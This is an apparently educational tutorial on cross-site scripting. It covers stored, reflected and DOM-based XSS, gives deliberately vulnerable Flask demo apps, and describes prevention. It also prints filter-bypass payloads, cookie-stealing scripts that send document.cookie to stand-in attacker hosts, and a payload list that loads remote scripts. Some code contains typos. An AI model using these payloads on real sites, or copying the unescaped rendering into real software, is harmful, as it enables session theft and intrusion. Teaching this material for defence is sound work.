Cross Site Scripting (XSS)
Learn what cross site scripting is and what its mechanism is.
An XSS (Cross Site Scripting) vulnerability occurs when an attacker can inject JavaScript code into a web page. For example, if an application fails to distinguish between user input and legitimate page code, an attacker could inject their own code into pages viewed by other users.
Mechanism
A simplified form of XSS vulnerability occurs when the user can inject JavaScript code into a web page. To understand this, we must understand how Javascript code is included in HTML:
<!-- Inline scripts -->
<script>alert("Hello");</script>
<!-- Script from an external file -->
<scripts src="URL_OF_EXTERNAL_SCRIPT"></script
As you can see in the code above, there are two ways to load JavaScript code into HTML. When the web page loads, these scripts will be executed in the client’s browser.
Now in the following example, let’s take into account the following label:
<p> user_input </p>
Let’s say that hypothetically inside the <p> </p>
tag above, what a user entered through a web form is displayed. Now if the user enters the following and the form does not perform security validations:
<script> console.log("Hello world"); </script>
The resulting code would look like this:
<p> <script> console.log("Hello world"); </script> </p>
Now if the code is stored in the web page, every time a user enters that page, the code will be executed in the client’s browser without even knowing it.
To prevent this vulnerability from occurring, user input must be validated on both the front end and back end by filtering out special characters such as "<>/.*"
.
Types of XSS
There are several types of XSS, each with its specific characteristics. The main types of XSS are:
- Stored XSS
- Blind XSS
- Reflected XSS
- DOM-based XSS
- Self XSS
Stored XSS
Stored XSS, or stored XSS, is probably one of the most dangerous. It occurs when user input is stored on the server and returned in an insecure manner. For example, when an application accepts user input without validation, it stores it on its servers, and then renders it to the web browser without filtering.
"""
PoC Stored XSS
In the following example, the user's entries are stored in the list
messages and every time the page is reloaded, the content of
messages so if a user inserts code, said code will be executed
every time someone accesses the page
"""
from flask import Flask, request, render_template_string
app = Flask(__name__)
# List that will store the messages
messages = []
@app.route('/', methods=['GET', 'POST'])
defhome():
if request.method == "POST":
message = request.form.get('message')
# TODO: input validation...
messages.append(message)
return render_template_string('''
<!DOCTYPE html>
<html>
<head>
<title>XSS </title>
</head>
<body>
<h1> XSS TEST </h1>
<form method="POST">
<input name="message" placeholder="Enter your message" />
<input type="submit" value="Send" />
</form>
<h2> Messages </h2>
{%for message in messages %}
<p>{{ message|safe }}</p>
{% endfor %}
</body>
</html>
''', messages=messages)
if __name__ == "__main__":
app.run(debug=True)
Blind XSS
This type of XSS attack is similar to Stored XSS, only in this case we cannot see the immediate response of the XSS. For example, when we send a payload as a message to a support site and said payload is rendered on the support page, this payload will be executed in the admin or staff panel where the payload is rendered if it is not filtered. In this case we ourselves cannot see the direct result of the XSS unless in the payload we specify some way to do it, such as making an HTTP GET request to our web server exposed to the Internet.
Reflected XSS
This type of XSS occurs when the server takes user input and immediately reflects it back in the response without being properly processed or filtered. In this case, the malicious payload is sent via the URL and the victim needs to click on the URL (for example, via a link in an email or another website).
#!/usr/bin/env python3
"""
PoC Reflected XSS
In this proof of concept, if a request is sent in the following way
http://vulnerable.com/?user_name=test
The username will be displayed on the page, but if a user enters the following
http://vulnerable.com/?user_name=<script> console.log('Hello world'); </script>
The script will be executed on the page and the message 'Hello world' will be displayed in the console
"""
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def hello():
user_name = request.args.get('user_name', 'Guest')
return f'Hello, {user_name}!'
if __name__ == '__main__':
app.run(debug=True)
The code inside the script
tag will be executed when the HTTP request is made, however, the script will only be executed as long as the same request is repeated because the payload is not stored. If a user wants to take advantage of this vulnerability, they must trick another user using social engineering into making the aforementioned request.
DOM-Based XSS
Unlike Reflected XSS, this type of attack occurs entirely on the client side. Instead of the malicious payload being reflected by the server, it is the JavaScript itself on the page that takes input from the user and writes or manipulates it to the DOM without properly filtering it. The malicious payload can be sent via the URL, but does not need to be reflected by the server to execute.
#!/usr/bin/env python3
"""
PoC DOM-based XSS
In this proof of concept, if a request is sent in the following way, the username will be displayed on the page.
/?user_name=test
But if a user enters the following, the script will be executed on the page and the message 'Hello world' will be displayed in the console.
/?user_name=<script> console.log('Hello world'); </script>
"""
from flask import Flask, render_template_string
app = Flask(__name__)
html_content = """
<!DOCTYPE html>
<html>
<head>
<title>DOM-based XSS POC</title>
</head>
<body>
<script>
// This is a naive script to get the 'user_name' parameter from the URL
var params = new URLSearchParams(window.location.search);
var userName = params.get('user_name');
document.write("Hello, " + userName + "!");
</script>
</body>
</html>
"""
@app.route('/')
defindex():
return render_template_string(html_content)
if __name__ == '__main__':
app.run(debug=True)
Self XSS
This type of attack typically requires the use of social engineering to get victims to insert the payload. For example, a Self way to trick the victim into entering the payload on their own.
These types of vulnerabilities normally do not have compensation in bug bounty programs because social engineering is required to be exploited.
Prevention
To prevent these types of attacks, applications should never insert user-supplied data directly into an HTML document.
Two controls must be implemented:
- Robust input validation
- escape and contextual output encoding
The server must validate the user’s input so that it does not contain dangerous characters which could influence the web browser’s interpreter.
Escaping means encoding special characters so that they can be interpreted literally.
Many javascript frameworks such as React, Angular and Vue.js implement anti-XSS measures automatically.
Steps can also be taken to mitigate the impact of XSS if it happens. The first thing to use is HttpOnly on sensitive cookies used by the site. This prevents attackers from stealing cookies via XSS. The Content-Security-Policy header must also be implemented in HTTP responses. This header allows you to restrict which resources are loaded on the web pages.
Hunting XSS
When searching for XSS vulnerabilities, the following steps can be followed.
- Focus on all possible user input in the application
- Insert different types of payloads, polyglots or generic strings.
- Confirm the impact of the payload.
- Perform Bypass of XSS protections.
Bypassing protections against XSS
Techniques used to circumvent security measures implemented to prevent XSS (Cross-Site Scripting) attacks.
Alternative JavaScript Syntax
“JS alternative syntax” generally refers to different ways of writing JavaScript code that produce the same result. The motivation behind using an alternative syntax may be to obfuscate the code, bypass filters (as in the case of XSS attacks), or simply style preferences. In the following example, the src field of the img tag is specified by the user, so entering the correct payload could execute JavaScript code.
<img src='user_input'>
<!-- payload !-->
"/><script>console.log('Hello world'); </script>
<!-- Label with the entered payload -->
<img src=""/><script>console.log('Hello world'); </script>"/>
Another way to insert JavaScript code without the need to use the script tag is by using the special URL scheme.
<a href="javascript:alert('XSS')"> click me </a>
Capitalization and coding
Sometimes XSS filters specifically search for words without taking into account their capitalization, for example when they search for the word “script”, in these cases we can bypass the filter in the following way.
<scrIPT>...<scrIPT>
If your application filters out special characters such as quotes, you can use the JS fromCharCode() function.
<scrIPT>...String.fromCharCode(104,116,116,112,58,47,47...); </scrIPT>
Filter Logic Errors
Sometimes, applications remove all script tags in user input, but they do so only once. If that is the case, the following payload can be used.
<script<script>t>
location="..."
</script<script>t>
<!-- Once the filter removes the <script> tags, the payload would look like this -->
<script>
location="..."
</script>
Example cases
Cookie theft with XSS
If an attacker discovers an XSS vulnerability and would like to obtain the cookies of users who access the page, they would only have to enter the following script:
<script>
image = new Image();
image.src='http://attacker_server_ip/?c='+document.cookie;
</script>
The above script, every time it is executed in the clients’ browser, sends a GET request to the address “http://attacker_server_ip/?c=cookie_here”. With this, the attacker would only have to check the web server’s request logs to see that cookies are included in the GET request. The above process is known as cookie exfiltration.
Resources
List of resources to improve understanding of the XSS vulnerability.
Useful payloads
<!-- Exfiltrate user cookies !-->
<script>
image = new Image();
image.src='http://attacker_server.com/?c='+document.cookie;
</script>
<!-- Execute js code using <img> in case <script> is blocked !-->
<img src="" onerror="console.log('Hello world')">
<!-- Change the content of a page !-->
<script>
// Change title
document.title = "HACKED";
// change background color
document.body.style.background = "#141d2b";
// Change the main body of a web page
document.getElementByTagName('body')[0].innerHTML = "testing";
// remove certain HTML elements
document.getElementByID('urlform').remove();
</script>
<!-- load remote script !-->
<script src="http://attacker_ip/script.js"></script>
Pages to practice
References
- cheatsheetseries.owasp.org Cross_Site_Scripting_Prevention_Cheat_Sheet
- owasp.org xss-filter-evasion-cheatsheet
- Bug Bounty Bootcamp Book